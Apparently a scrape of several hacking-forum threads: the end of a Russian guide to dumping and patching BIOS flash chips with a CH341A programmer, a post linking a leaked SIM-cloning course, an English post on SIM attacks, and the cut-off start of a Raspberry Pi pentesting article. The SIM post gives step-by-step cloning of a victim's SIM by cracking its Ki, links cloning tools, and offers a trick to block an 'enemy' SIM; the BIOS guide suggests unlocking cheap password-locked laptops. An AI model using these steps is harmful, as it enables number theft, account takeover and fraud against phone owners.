лучше поискать б/у набор брендовых грабберов, типа Tektronix SMG50, Pomona 72902 или Agilent 5090-4833 - это качественные грабберы толщиной ~1 мм, и б/ушные они стоят всего по 2-3 бакса за штуку. новые покупать не рекомендую, т.к. они стоят совершенно сумасшедших денег, и если у вас есть лишняя пара- тройка сотен баксов - лучше купите паяльную станцию и микроскоп, чтобы нормально выпаивать чипы вместо гемора с прищепками.

а вот на другой конец, который мы будем подключать к программатору, отлично подойдут копеечные китайские грабберы с загнутым носом, потому что у программатора пины расположены далеко друг от друга и подойдут даже толстые грабберы.

grabbers.jpg

удобный провод для соединения двух грабберов - это гребёнка "dupont jumper wires". захватите две вариации - "мама-мама" и "мама-папа". двух пап нам не надо, ибо это грех.

dupont_1.png

dupont_2.png

также сгодятся маленькие крокодилы из ближайшего хозмага. но лучше, конечно, соединительный провод к грабберам припаять.

alligator.png

2. подготовка программатора

как полагается, китайская подделка требует доработки напильником (хотя возможно, что и оригинал тоже :D )

программатор может выдавать 5 вольт вместо 3.3, что теоретически может убить чип биоса, а в худшем случае ещё и соседние с ним элементы материнки.
хотя большинство чипов очень живучие и выдержат 5 вольт, лучше не рисковать и физически залочить программатор на 3.3 вольта.

больше информации тут:

[ CH341A Serial Memory Programmer Power Supply Fix - Page 1

](https://www.eevblog.com/forum/repair/ch341a-serial-memory-programmer-power- supply-fix/)

CH341A Serial Memory Programmer Power Supply Fix - Page 1

www.eevblog.com

https://www.chucknemeth.com/usb-devices/ch341a/3v-ch341a-mod

libreboot.org

[ Libreboot – Read/write 25XX NOR flash via SPI protocol

](https://libreboot.org/docs/install/spi.html#do-not-use-ch341a)

Libreboot – Read/write 25XX NOR flash via SPI protocol

libreboot.org

даже если вы нашли оригинал (или похожую на оригинал подделку), всё равно обязательно проверьте вольтметром напряжение между CLK/CS/MOSI/MISO и GND - оно не должно быть выше 3.5 вольт.

для моей подделки сработала очень простая модификация: разрезать дорожку слева от названия "MinProgramment" и поставить джампер на пины "5V" и "3.3V".
при этом пин "5V" тоже начинает выдавать 3.3 вольта. но если вдруг понадобится сделать 5 вольт вместо 3.3, то можно будет просто запаять эту дорожку и снять джампер.

ch341b_3.3V_Easy_Fix.jpg

пины, отмеченные "1,2,3" - это место для джампера настройки программатора.

джампер на пинах 1-2, название "что-то на китайском" = режим SPI/I2C/GPIO - то, что нам нужно.
при подключении к USB порту программатор определяется как "idVendor=1a86, idProduct=5512" или "1a86:5512"

джампер на пинах 2-3, название "TTL" = режим Serial/UART, это нам не нужно.
программатор в этом режиме определяется как "idVendor=1a86, idProduct=5523" или "1a86:5523"

теперь подключаем прищепку к программатору.

вспоминаем, что на чипах отмечена первая нога, и с удивлением обнаруживаем, что один из кабелей прищепки розового цвета. надеюсь, вы уже догадались, почему этот кабель отличается, и что за циферки 1-8 на плате, идущей в комплекте с прищепкой :)

clip_8pin.jpg

clip_8pin_2.jpg

(если у вас восьминогий чип биоса, то следующее можно пропустить)

с шестнадцатиногой прищепкой чуть посложнее - ведь у неё вся гребёнка лгбтшная, и её можно надеть на плату двумя сторонами. я решил, что пусть синий кабель будет первым.
для надёжности и безопасности, после надевания прищепки на плату, нужно "прозвонить" контакты мультиметром, и удостовериться, что контакт прищепки, подключённый к синему кабелю, "звенит" на контакте платы под номером 1.

clip_16pin_1.jpg

вторая сложность состоит в том, что эта плата предназначена для нормальных программаторов, а не для CH341A, у которого для SPI предназначены только нижние 8 дырок (обозначены "25XX")

смотрим спецификацию шестнадцатиногого SPI чипа:

chip_spec.png

вспоминаем, какие 6 пинов нам нужны, и подключаем провода dupont к соответствующим пинам на идущей в комплекте с прищепкой плате.
желательно каждый провод подписать, чтобы не перепутать.

clip_16pin_2.jpg

clip_16pin_3.jpg

для надёжности и безопасности нужно "прозвонить" контакты мультиметром и убедиться, что всё подключено верно.

ну и собираем такого франкенштейна, подключив провода dupont к соответствующим пинам на программаторе:

clips_8_16.jpg

естественно, вам такая конструкция может и не нужна вовсе, если все чипы на вашей мамке восьминогие.

3. подготовка рабочего места

прежде, чем лезть своими грязными руками в материнку, необходимо убрать любые источники электричества:
[ ] отключите от материнки ВСЕ кабели блока питания
[ ] отключите от материнки ВСЕ внешние кабели (видео, сетевые, USB)
[ ] достаньте батарейку CR2032
[ ] если у вас на полу ковёр - обязательно оденьте тапочки с резиновой подошвой
[ ] желательно пользоваться антистатическим браслетом и/или специальным антистатическим резиновым ковриком

(распечатайте список и при работе ставьте галочки в пустые поля, чтобы ничего не забыть :D )

aliexpress_4.png

aliexpress_5.png

теперь по софту: в линуксе для прошивания биоса используется flashrom: https://github.com/flashrom/flashrom

в большинстве дистрибутивов он есть в стандартных репозиториях, но там может быть старая версия, не поддерживающая ваш конкретный чип, или имеющая какие-то баги.
поэтому желательно установить самую свежую версию flashrom, скомпилировав её из исходного кода.

качаем && компиляем:

(тут сначала понадобится установить кучу добра, такого как gcc make git libpci-dev zlib1g-dev libusb-dev libudev-dev, разберётесь самостоятельно)

Code:Copy to clipboard

git clone https://github.com/flashrom/flashrom
cd flashrom
make
./flashrom

если в списке поддерживаемых программаторов не оказалось ch341a_spi - значит, компилятор не нашёл libusb или libudev и тихо пропустил все программаторы, подключаемые по USB. обязательно установите подходящий для вашего дистрибутива пакет (типа libusb1-dev) и попробуйте пересобрать снова (make clean && make)

найдите обозначение вашего чипа в базе flashrom. некоторые буквы в названии заменяются точками, если разные чипы с разными буквами в названии оказываются одинаковыми внутри.

flashrom1.png

- мой чип в базе flashrom называется "W25Q128.V" - буква F заменена точкой.

показать список всех поддерживаемых чипов: flashrom -L

даже если вашего чипа нет в списке, то вполне возможно, что он поддерживается, попробуйте указать ближайший по названию. например, для чипа с маркировкой "MXIC MX 25L12872F"
можно указать "flashrom -c MX25L12835F/MX25L12845E/MX25L12865E"

теперь самое сложное: надеваем прищепку на чип.

убедитесь, что первый провод прищепки вы подключаете к первой ноге чипа! и что платформа прищепки вставлена в программатор правильно. смотрите картинки выше, с розовым проводом.

ch341a_num.jpg

clip_on_chip.jpg

и только после того, как надели прищепку на чип, вставьте программатор в USB порт.

следующий нюанс - некоторые особо умные дистрибутивы линукса любят рандомно отключать юсб устройства "для энергосбережения". вряд ли это произойдёт в тот момент, когда устройство точно активно, но для уверенности лучше это энергосбережение убрать.

откройте sudo powertop и сделайте "Bad" во всех строках, имеющих отношение к USB:

flashrom0_powertop.png

4. наконец делаем дамп чипа

несмотря на то, что flashrom умеет автоматом детектить чип, лучше всегда указывать модель чипа вручную, например:

flashrom -p ch341a_spi -c W25Q128.V -r read.bin

во время чтения чипа (и особенно во время записи!) лучше вообще отойти от стола, чтобы случайно не сдвинуть прищепку, пошатнув или неудачно облокотившись об стол.

после того, как чип прочитался, проверяем, что в дампе действительно что-то есть:

flashrom2.png

рандомные данные - это хорошо. но если в дампе все байты - "FF" или "00" - то это значит, что чип не прочитался. перенаденьте прищепку и попробуйте ещё раз. и ещё. и ещё)
если опять не читается - смотрите доп. нюансы в самом низу статьи.

теперь надо обязательно сделать дамп второй раз, сняв прищепку с чипа и надев её заново! таким образом мы убедимся, что контакт был хороший и чип прочитался верно.

дампим, и сверяем чексумму с первым дампом:

flashrom3.png

отлично, теперь можно чего-нибудь натворить :)

5. патчим биос.

я сделаю лишь простейшую демонстрацию изменения прошивки, а вы вместо моего "патча" можете сделать что-нибудь более полезное - например, сбросить пароль биоса https://badcaps.net/forum/showpost.php?p=1108842&postcount=4 с купленного за копейки залоченного ноутбука https://www.ebay.com/sch/i.html?_fr...bios+locked&_sacat=0&LH_TitleDesc=0&_osacat=0
или частично обезвредить железный бэкдор Intel ME https://github.com/corna/me_cleaner/
или установить открытый биос https://coreboot.org/ вместо родного с неизвестно какими бэкдорами и стучалками от производителя материнки.

так как я издеваюсь над серверной, а не обычной, материнкой, то у неё есть удобное управление через браузер, по LAN кабелю. подробнее об этом будет, возможно, в моей следующей статье :)

supermicro0.png

я зашёл в биос и для демонстрации решил изменить строку копирайта "© 2020 American Megatrends":

supermicro1.png

для редактирования дампа биоса нужна старая версия UEFITool, так как новые версии не умеют в редактирование. качаем её отсюда: https://github.com/LongSoft/UEFITool/releases/tag/0.28.0

ищем строку с копирайтом:

supermicro2.png

находим секцию:

supermicro3.png

вытаскиваем её из дампа:

supermicro4.png

открываем полученный файл в HEX редакторе, жмём Ctrl+F... и не находим текст "copyright".
штош, смотрим предыдущий скриншот, и скроллим в редакторе до адреса, который указал UEFITool - "61F86"
обнаруживаем, что текст не находится, потому что каждый символ разделён нуллбайтом (наверное, потому что это кодировка UTF-8, в которой выделено по 2 байта на символ)

supermicro5.png

заменяем текст на что-нибудь другое:

supermicro6.png

сохраняем изменённый файл в hex редакторе; открываем обратно UEFITool; жмём right click на нужной секции; "Replace as is..." и указываем изменённый файл.

supermicro7.png

сохраняем изменённый дамп под новым названием: File -> Save image file...

и прошиваем его в чип, не забыв перед этим отключить от материнки блок питания и вытащить LAN кабель!

supermicro8.png

- типичный процесс записи (да и чтения) чипа через прищепку :D

увидев заветное слово "VERIFIED" наконец можно отсоединить прищепку, подключить материнку к блоку питания, и проверить, что получилось...

supermicro9.png

...и только тут я заметил, что парой скриншотов выше я в hex редакторе изменил только одну строку с копирайтом, а там их было две :D

6. некоторые другие нюансы

если лампочка power горит слабо - тускнеет сразу после втыкания в юсб порт или подключения прищепки, то ты подсоединяешь прищепку наоборот! или один контакт прищепки касается сразу двух ног чипа.
если горят сразу обе лампочки - то же самое. вторая лампочка должна загораться только во время чтения или записи чипа!

"no EEPROM/flash device found" - ножки чипа могут быть окислены или покрыты лаком, из-за чего может быть плохой контакт с прищепкой, поэтому ножки желательно почистить, прежде чем надевать прищепку.
потрите ножки чипа чем-нибудь жёстким, желательно не металлическим

clear.jpg

отлично подойдёт синяя сторона красно-синего ластика. в принципе, можно потереть и чем-нибудь металлическим, но ОЧЕНЬ осторожно - вы можете сжечь чип, закоротив его ноги, если вдруг у материнки будет питание (не вытащена батарейка или не разряжены конденсаторы)

если flashrom показывает идентификаторы чипа "0xffff" или падает посередине чтения с LIBUSB ERROR - то, помимо плохого контакта, также это может быть нехватка питания. возможно, требуется подать дополнительное питание на материнку - например, всё-таки оставить в ней батарейку CR2032, я с таким сталкивался
возможно придётся даже подключить к мамке блок питания, но я очень не рекомендую это делать, т.к. есть риск спалить мамку и/или программатор и/или компьютер, в который воткнут программатор.
если чип не определяется после чистки контактов, двадцати попыток надевания прищепки без батарейки, и двадцати попыток надевания прищепки с батарейкой, то лучше уже выпаять этот чип и засунуть его прямо в программатор, чем рисковать материнкой или вторым компом. ну или воспользоваться грабберами.

ещё важно - никогда не подключайте программатор через USB хаб, так как хаб может урезать питание! всегда подключайте программатор напрямую в USB порт рабочего компа.
также нежелательно подключать через USB удлинители, потому что они тоже могут резать ток. у меня есть один вроде бы илитный кабель с экранизацией и ферритовым фильтром, но опытным путём выяснилось, что через него не проходит ток больше 0.1 ампера, то есть эта красивая фигня годится максимум для подключения клавиатуры, даже не юсб флешки.

shitcable.jpg

7. засим откланиваюсь

автор я, распространять разрешаю только при указании ссылки на этот топик.

донаты сюда: 1dprEpsBVpjXfiaBtwyFp5X7Dtfs5VVR1

Курс по клонированию 3G 4G SIM-карт
ID: 676535aeb4103b69df3735a6
Thread ID: 94438
Created: 2023-07-31T15:15:38+0000
Last Post: 2023-11-10T18:58:39+0000
Author: Knew100
Prefix: Статья
Replies: 23 Views: 2K

Курс 8,14 ГБ сжатого видеоурока о том, как клонировать SIM-карту, создать копию вашей SIM-карты

Одним файлом 8ГБ
https://anonfiles.com/x5S068Fdy1/Sim_Cloning_Course_Leaked_rar
Разбито по 4ГБ
https://anonfiles.com/j7m589U7y2/Sim_Cloning_Course_Leaked.rar_001
https://anonfiles.com/J5te8bUcy3/Sim_Cloning_Course_Leaked.rar_002
или тут (пароль leakscorp.com)
https://pixeldrain.com/u/mrU1rAui
https://pixeldrain.com/u/VVZ2xqN6
Честно по сути сказать не могу, напишите рецензию кто решится повторить, видео мануал хвалят
Курс середины 2022 года Погуглил - всё то же самое есть в тексте в гугле и весит несколько мегабайт - короткая инструкция, легко переводящаяся гуглом.

SIM Card Hacking Methods
ID: 676535aeb4103b69df3735b2
Thread ID: 93795
Created: 2023-07-24T03:25:12+0000
Last Post: 2023-10-12T14:38:46+0000
Author: Wiz
Prefix: GSM
Replies: 4 Views: 2K

First: SIMJacker Attack

Due to your increasing personal and financial information tied to your online identity, attacks and hackings of phone numbers are more likely to occur. According to AdaptiveMobile Security, which is a company specialized in mobile phone security, the attack takes place through a defect and a gap in the SIM cards called (SIMJaker). This is capable of opening a back door for the hackers to attack the SIM card, and short SMS is enough to do the mission.

How Does It Happen?

SIMJacker attack starts with an attacker sending an SMS to your smartphone. This SMS contains a link to a browser or a specific code commanding the SIM to disclose some data or to help control the device using a piece of software called S@T Browser, which is part of the SIM Application Toolkit (STK) that many phone operators use on their SIM cards. It is worth mentioning that such a process happens silently, not noticeable to you. Also, the SIMJacker hack is not limited to a specific operating system, and all types of phones are at risk, including smartphones that run on Android and iPhone.

The information pulled out from your SIM card contains your cell-ID which can determine your location and some specific device information like the IMEI from the handset. After that, the attack sends the data to a device other than the one from which the attacker sends the SMS in the hacking process. Then the attacker will be able to spy on your phone calls, steal your credits or hijack your bank accounts when linking your email to your phone number.

Second: SIM Swap Attacks

Hackers did compromise the personal account of Jack Dorsey, CEO and co-founder of Twitter. The penetration of Jack’s phone number linked to the account allowed the hackers to post a hail of offensive tweets for 15 minutes.

How Did the Hack Happen?

This hack is called “SIM Splitting or SIM Swap” in which the hackers take over your phone number and, as a result, all of your linked accounts. That is,
The attacker deceives your service provider and impersonates you in order to ask for their technical support to issue a new and alternative SIM card.
They can steal your phone number and link it to their own devices.
Once the process is completed, the provider will cancel and suspend your real SIM card.
The hacker will be able to access your phone calls and messages, bank accounts, e-mail and much more.
Let’s rethink the vast amount of sensitive information associated with your Google account:
Address, birthdate and other personal information.
The photos that may harm you personally.
Calendar and upcoming travel dates.
Emails, documents and search history.
Personal contacts and their private information.
All other online services that have used your primary email address as a source of authentication.

Third: SIM Cloning

It is worth noting that each SIM card is equipped with three basic codes:

The International Mobile Subscriber Identity Code (IMSI) identifies the SIM data in international networks. This code consists of the country code or the network ID that you use.
The (ICCID) code is the serial number of the SIM you are using. It is not the serial number of the mobile phone but the chip. Each chip has its own serial number.
(Ki) code is the main code that the hacker needs. It identifies the card in the network and also protects it. If the hacker decodes the (Ki) code, he will be able to tweak your chip and own it.

By obtaining this data, cloning will be possible. As for the IMSI and ICCID codes, a SIM card reader can identify them, while it cannot read the other code (Ki) in the same way. However, hackers can use other clever methods to scan the (Ki). Consequently, the chip is copied to a writable, programmable card that telecom companies don’t supply, but hackers sell it online. There are several online programs and applications that attackers can download to decode these codes and copy your SIM data after reading it and work to write it on a new chip that can be written and programmed.
Victims may feel that something is suspicious. As a result, they may inform the telecom company to locate the geographical penetrator of the attacker. However, you should take care not to leave your SIM out of your sight because the cloning process requires the hacker to obtain your tangible SIM card or can use other ticks.

4.) WIB ATTACK

As an alternative to static SIM toolkit applications with a fixed pre- installed menu, some operators opt for dynamic SIM toolkit, where the menus and user dialogs are generated on the fly based on information provided by a central server. SIM applications that provide this functionality are generally referred to as SIM-browsers or µ-browsers.
Two browsers are currently available, the Wireless Internet Browser (WIB) which was the first successful browser released and promoted on the market by SmartTrust.
The Wireless Internet Browser (WIB) is specified by SmartTrust and is the market leading solution for SIM toolkit based browsing. The WIB-enabled SIM has a menu stored on the SIM. This menu can be managed and updated using Over The Air (OTA) services.

Attack Scenario

Attack Scenario is summarized in figure.

(1) Attacker sends a malicious OTA SMS to the victim phone number. The OTA SMS contains WIB command such as: SETUP CALL, SEND SMS, PROVIDE LOCATION INFO, etc.
(2) Right after receiving the OTA SMS, Baseband Operating System of the victim mobile phone uses ENVELOP COMMAND ( an APDU command to communicate between mobile phone and simcard) to forward the TPDU of the OTA SMS to WIB browser in victim’s simcard.

Different from the procedure of receiving the normal text sms, the procedure OTA SMS is silently handled just in baseband operating system and does not raise any alert to application operating system (android os, ios, blackberry os, …). Neither feature phone nor smart phone raises alert about the procedure of ota sms: no ringing, no vibration, no detection from users.

WIB browser follows the WIB commands inside the TPDU of OTA SMS and sends the corresponding PROACTIVE COMMAND to the victim mobile phone such as: SETUP CALL, SEND SMS, PROVIDE LOCATION INFO.

(4) The victim mobile phone follows the PROACTIVE COMMAND received from victim’s simcard to perform the corresponding actions such as: make a phone call, send an sms to whatever phone number attacker wants (e.g receiver mobile phone in the figure).

For attack scenario of getting victim’ location, it contains 2 phases in a single malicious OTA SMS. First phase, the ota sms instructs the WIB browser send PROACTIVE COMMAND ( PROVIDE LOCATION INFO) to the victim mobile phone. Second phase, instructs the WIB browser to send a PROACTIVE COMMAND (SEND SMS) with sms payload containing the response from the victim mobile phone (Cell ID, Lac ID). Attacker can use many websites on internet to convert the Cell ID, Lac ID to gps location on map.

WIB Commands

Several sensitive WIB commands which can send remotely via OTA SMS to victim’s sim card.

The SIM can issue a variety of commands through this mechanism, given in alphabetical order:
– DISPLAY TEXT, which displays text or an icon on screen. A high priority is available, to replace anything else on screen.
LAUNCH BROWSER, which requests a browser inside a browser enabled ME to interpret the content corresponding to a URL.
– OPEN CHANNEL, which requests the ME to open a data channel with parameters indicated in the command (if class “e” is supported.)
– PLAY TONE, which requests the ME to play a tone in its earpiece, ringer, or other appropriate loudspeaker.
– PROVIDE LOCAL INFORMATION which requests the ME to pass local information to the SIM, for example the mobile country and network codes (MCC + MNC) of the network on which the user is registered.

– SEND SHORT MESSAGE, which sends a short message or SMS-COMMAND to the network.
– SEND SS, which sends an SS request to the network.
– SEND USSD, which sends a USSD string to the network.

SET UP CALL, of which there are three types:
–set up a call, but only if not currently busy on another call;
–set up a call, putting all other calls (if any) on hold;
–set up a call, disconnecting all other calls (if any);
…..”” [4]
[4] 3GPP TS 11.14 V8.18.0 (2007-06)
3.4. Security mechanisms of OTA SMS
OTA (Over-The-Air) is a technology used to communicate with, download applications to, and manage a SIM card without being connected physically to the card.
OTA enables a Network Operator to introduce new SIM services or to modify the contents of SIM cards in a rapid and cost-effective way.
OTA is based on client/server architecture where at one end there is an operator back-end system (customer care, billing system, application server … ) and at the other end there is a SIM card.

The operator’s back-end system sends service requests to an OTA Gateway which transforms the requests into Short Messages and sends them onto a Short Message Service Centre (SMSC) which transmits them to one or several SIM cards in the field.
Thus, Over-The-Air (OTA) is a technology that updates and changes data in the SIM card without having to reissue it. Indeed, the end user can receive special messages from the operator, download or activate new services on his telephone, and much more …, without having to return to a retail outlet.
In order to implement OTA technology, the following components are needed:
A back end system to send requests
An OTA Gateway to process the requests in an understandable format to the SIM card
An SMSC to send requests through the wireless network
A bearer to transport the request: today it is the SMS bearer
Mobile equipment to receive the request and transmit it to the SIM card
A SIM card to receive and execute the request
However, OTA SMS can also be sent from peer to peer, i.e from mobile subscriber to mobile subscriber.

SO LETS TALK ABOUT HOW HACKER PERFORM ALL THESE ATTACKS

CLONING A SIM CARD

Step 1: Remove the SIM from the phone, place it in the card reader, click read from the card in magic SIM.
When it displays ‘connected’, select crack SIM in the toolbar.

Step 2: Click strong KI and select all of the other find options and then click start.

Once your KI is found and the crack is finished, click the file, save as and save your cracked SIM info to a file.

Step 3: You must click disconnect from the file menu or you will ruin your SIM card. [Important, Otherwise SIM will crack]
Step 4: Once it says disconnected. Remove the SIM. Put the SIM in your phone and see if it still works, it should.

(If not, either you did not unlock your SIM, or you tried to copy it instead of crack and save.)

Unlock SIM Card

Go to phone tools, select SIM card, then select unlock SIM, it will prompt for a code.

Call network provider, they will ask for your phone number, your account info, name, and security code, then they will ask why you want to unlock your SIM card, just tell them you need to unlock your SIM to get it to work with your overseas phone or something.

Once they give you the SIM unlock code, enter it, and it will say SIM unlocked.
Step 5: Insert blank SIM card and open USB SIM Card Reader Software not magic SIM at this point.
Step 6: Click connect. It should say ‘No Info Found’ if it is truly blank.
Step 7: Select write to SIM, it will prompt you to select a .dat file, select the one you saved earlier.
Step 8: Now click start, it will take about 10 minutes to write it, once it is complete, it will ask for a security code, enter the security code the network provider gave you, then click Finish. 👈

DONE: You have successfully cloned a SIM Card. 🔥

SIMCARD CLONING TOOLS:
http://mister-sim.software.informer.com/ (<http://mister- sim.software.informer.com/>)

![www.dekart.com](/proxy.php?image=https%3A%2F%2Flirp.cdn- website.com%2Fdb714ead%2Fdms3rep%2Fmulti%2Fopt%2FDekart%2Blogo%2Bvertical-1920w.png&hash=7658282d4e379c10cebce929421b09a0&return_error=1)

[ Dekart Sim Explorer

](https://www.dekart.com/products/card_management/sim_explorer/)

SIM card forensic software designed to find, view and edit files on GSM SIM, 3G USIMor CDMA R-UIM cards. SIM Explorer targets mobile operators, content providers, detectives, developers, reverse engineers and others who need flexible access to the structure of a SIM card.

![www.dekart.com](/proxy.php?image=https%3A%2F%2Firp- cdn.multiscreensite.com%2Fdb714ead%2Fsite_favicon_16_1551791860181.ico&hash=73c6c618f8233b53b48f42e4e0199428&return_error=1) www.dekart.com

https://www.amazon.com/Cellphone-Reader-Cloner-Writer-Backup/dp/B00ZWNGPX6/

https://ssl-download.cnet.com/MagicSIM/3000-2094_4-10601728.html

http://www.mobiledit.com/sim-cloning/ (<http://www.mobiledit.com/sim- cloning/>)

🙃🙃Here I am going to share a simple trick for block your enemy sim card,Blocking a sim card is too simple.🙃🙃
Dial the below code in the desired phone :- 0438147529*68243#
Entering of above code will ask you to enter the PUK code.
To get PUK Code just call customer care and get your PUK code.

Note : Entering of invalid PUK will cause permanent blocking of your SIM!
For Educational Purpose Only!
Try At Your Own Risk!

🖤ICCID explained🖤

An ICCID (Integrated Circuit Card Identifier) is a globally unique classifier that can be used to identify SIM hardware (most prominently physical SIM cards). This 19 to 20 character-long number is stored digitally, but typically also physically engraved into the SIM card's body. The ICCID may sound similar to an IMEI, but both are used to identify entirely different components. Physical eSIMs have an eUICCID, which is a different classifier; however, they are typically also assigned an ICCID.

What is the difference between an ICCID, IMSI, and IMEI?
The ICCID was conceived to identify all SIM hardware. However, there are other identifiers that are used for mobile network equipment. The most prominent ones are IMSI and IMEI:

IMSI

The IMSI (International Mobile Subscriber Identity) number is what cellular networks used to identify a specific subscription that is included as part of your data plan. Every time a device wants to establish a connection to the network, the network will identify the device by the IMSI. While this may sound similar to ICCID, both of these identifiers were conceived to identify different entities. The ICCID is used to identify the SIM Hardware, while the IMSI is used to identify the type of connectivity service.

IMEI

The IMEI (International Mobile Equipment Identity) number is typically printed on the batter component of any device with networking capabilities. It is a unique identifier for each device and is checked against a worldwide IMEI database when connected.

eSIMs and eUICCIDs

With the emergence of eSIMs (embedded subscriber identity module) a new identification number, known as the eUICCID number, has been established. A company may want to manufacture physical eSIMs but also generate and sell eSIM profiles. In some cases, these carriers will collaborate with other providers in order to create eSIM profiles, which means multiple parties may be involved in the creation of an eSIM. To simplify this situation and avoid confusion, the networking industry has created the eUICCID to identify physical eSIMs separately. The eUICCID number is an entirely different and unique classifier, however, an ICCID is typically still created along with the eSIM profile.

ICCID/SIM Card Number Checker/Decoder

To help you to obtain detailed information from the ICCID (Integrated Circuit Card Identifier) number, or SIM (Subscriber Identity Module) card number, FYIcenter.com has designed this online tool. All you need to do is to enter an ICCID/SIM Card Number in the form below, and click the "Decode" button. Detailed information of the ICCID/SIM Card Number will be presented in the result area.

http://phone.fyicenter.com/1155_ICCID_SIM_Card_Number_Checker_Decoder.html (http://phone.fyicenter.com/1155_ICCID_SIM_Card_Number_Checker_Decoder.html)

Popular Computer Forensics Tools

Digital Forensics Framework

Digital Forensics Framework is another popular platform dedicated to digital forensics. The tool is open source and comes under GPL License. It can be used either by professionals or non-experts without any trouble. It can be used for digital chain of custody, to access the remote or local devices, forensics of Windows or Linux OS, recovery hidden of deleted files, quick search for files’ meta data, and various other things.

Download: https://github.com/arxsys/dff

The Sleuth Kit

The Sleuth Kit is a Unix and Windows based tool which helps in forensic analysis of computers. It comes with various tools which helps in digital forensics. These tools help in analyzing disk images, performing in-depth analysis of file systems, and various other things.

http://www.sleuthkit.org/ (http://www.sleuthkit.org/)

Volatility

Volatility is the memory forensics framework. It used for incident response and malware analysis. With this tool, you can extract information from running processes, network sockets, network connection, DLLs and registry hives. It also has support for extracting information from Windows crash dump files and hibernation files. This tool is available for free under GPL license.

Read more about the tool: http://code.google.com/p/volatility/

Computer Online Forensic Evidence Extractor (COFEE)

Computer Online Forensic Evidence Extractor or COFEE is a tool kit developed for computer forensic experts. This tool was developed by Microsoft to gather evidence from Windows systems. It can be installed on a USB pen drive or external hard disk. Just plug in the USB device in the target computer and it starts a live analysis. It comes with 150 different tools with a GUI based interface to command the tools. It is fast and can perform the whole analysis in as few as 20 minutes. To law enforcement agencies, Microsoft provides free technical support for the tool.

Official website: https://cofee.nw3c.org/

👨‍💻🖤LETS TALK ABOUT SAFETY TIPS

How To Keep Your SIM Card Safe

If you want to protect your SIM card against attacks like these, there are some steps you can take.
Protect Against Socially Engineered Attacks
To protect against SIM card swaps, you should make it hard for hackers to find information about you. Hackers will use data they find about you online, such as names of friends and family or your address. This information will make it easier to convince a customer support agent that they are you.

Try to lock down this information by setting your Facebook profile to friends- only and limiting the public information you share on other sites. Also, remember to delete old accounts you no longer use to prevent them being the target of a hack.

❤Stay clear of sending sensitive data across public Wi-Fi networks
❤Use double verification systems
❤Do not share your passwords or leave them lying around
❤Keep an eye on your credit score
❤Watch out for phishing websites and fake campaigns
❤Use an antivirus program on desktop and mobile
❤Shop only at reputable websites
❤Keep data divulging on social networks to a minimum
❤Only download software from reputable sources
❤Be aware of social media-spread fake contests and links
❤Always use Familiar Websites
❤Avoid Public WiFi
❤Always check for the Lock (HTTPS) in Websites
❤Watch out for Phishing Scams
❤Keep up to date with Security Trends & Features
❤Consider using a Virtual Credit Card Number.
❤Always use 2 step verification.

Raspberry Pi для хакера
ID: 676535aeb4103b69df3735b7
Thread ID: 89952
Created: 2023-06-07T19:47:51+0000
Last Post: 2023-09-18T17:14:36+0000
Author: Gufi
Prefix: Статья
Replies: 3 Views: 2K

Содержание:​

1.Введение
- Что такое Raspberry Pi?
- История создания Raspberry Pi
- Популярность и применение Raspberry Pi
- Характеристики
- Raspberry Pi OS

2. Основные привилегии Raspberry Pi для хакера
-Маленький размер и портативность Raspberry Pi
-Гибкость и настраиваемость девайса
-Доступность и относительная низкая стоимость Raspberry Pi

3. Внешний вид девайса
- Смотрим на плату
- Процессор и видеочип
- Порты и слоты
- Аксессуары

4. Подготовка Raspberry Pi к пентесту
- Установка Kali Linux на Raspberry Pi
- Настройка системы
- Настройка автоматизации атак
- Скрываем железку от посторонних глаз

5. Пентест с использованием Raspberry Pi
- Кейс №1 Атака на Wifi сеть
- Кейс №2 Атака на локальную сеть
-Кейс №3 Ручной сниффер сетевого траффика

6. Дополнительные проекты с девайсом
- Анонимный роутер из Raspberry pi
- Poisontap

Всем привет! Сегодня мы поговорим про такую железку как Raspberry Pi , про ее значение при пентесте и про интересные хакерские самоделки из этого девайса.

Введение
Что такое Raspberry Pi?​

Raspberry Pi - это серия одноплатных компьютеров, разработанных компанией Raspberry Pi Foundation.
1686166799841.png 1686166807964.png

Они представляют собой небольшие платы размером с кредитную карту, оснащенные процессорами ARM, различными портами ввода-вывода, оперативной памятью и операционной системой.
Raspberry Pi создан с целью поощрения обучения программированию и электронике, а также для разработки и создания различных проектов в области информационных технологий но также , это очень хороший инструмент для пентестера)

Список всех моделей Raspberry Pi:

История создания Raspberry Pi​

В 2008 году Эбен Уптон, Роб Маллинсон , Джек Лане и Алан Майерс создали Raspberry Pi Foundation.

Они решили разработать недорогой и универсальный компьютер, который был бы доступен для обучения программированию и электронике.
Их целью было предложить студентам, начинающим программирование, доступную платформу для практического применения своих навыков.

В 2011 году первая модель Raspberry Pi была представлена на выставке электроники в Лондоне. Она была оснащена процессором Broadcom BCM2835, 256 МБ оперативной памяти, разъемом Ethernet, HDMI-портом, а также разъемами USB и GPIO.
В 2012 году Raspberry Pi Model B начала поступать в продажу. Это была улучшенная версия оригинальной модели, с дополнительными портами USB и большим объемом оперативной памяти.

Популярность и применение Raspberry Pi​

Сама Raspberry Pi очень популярна из-за своей компактности и мощности как для компьютера с размером как кредитка)
Некоторые из основных областей, где Raspberry Pi нашла свое применение:

Образование: Raspberry Pi играет важную роль в сфере образования. Он предоставляет доступную и простую в использовании платформу для обучения программированию, электронике и компьютерным наукам. В учебных заведениях Raspberry Pi используется для создания уроков по программированию, робототехнике, созданию игр и другим активностям, которые развивают навыки и интерес студентов к технологиям.

Домашние проекты и хобби: Raspberry Pi позволяет людям создавать различные домашние проекты и устройства. Он может использоваться для создания медиа- центров, умных домов, систем безопасности, автоматизации домашних устройств и многое другое. Благодаря его низкой стоимости и гибкости, Raspberry Pi стал популярным выбором для хобби-разработчиков и энтузиастов.

Интернет вещей (IoT): Raspberry Pi идеально подходит для разработки устройств Интернета вещей. Благодаря своим возможностям подключения к различным сенсорам, модулям связи и периферийным устройствам, он может быть использован для создания умных устройств, мониторинга и управления системами, автоматизации и многих других IoT-приложений.

Разработка программного обеспечения и прототипирование: Raspberry Pi предлагает среду для разработки программного обеспечения. Он поддерживает различные языки программирования, включая Python, C++, Java и другие. Разработчики могут использовать Raspberry Pi для создания и тестирования программного обеспечения, прототипирования проектов и проведения экспериментов.

Ретроигры и развлечения: Raspberry Pi может быть превращен в эмулятор классических игровых консолей и аркадных автоматов. С помощью специальных программ и ретроигровых дистрибутивов, пользователи могут воссоздать и наслаждаться играми прошлого.

Коммерческие проекты: Raspberry Pi нашел применение в коммерческих проектах и проектах и промышленных решениях. Он может быть использован для создания систем мониторинга, управления автоматическими процессами, контроля доступа и других задач, требующих небольших вычислительных мощностей.

Характеристики​

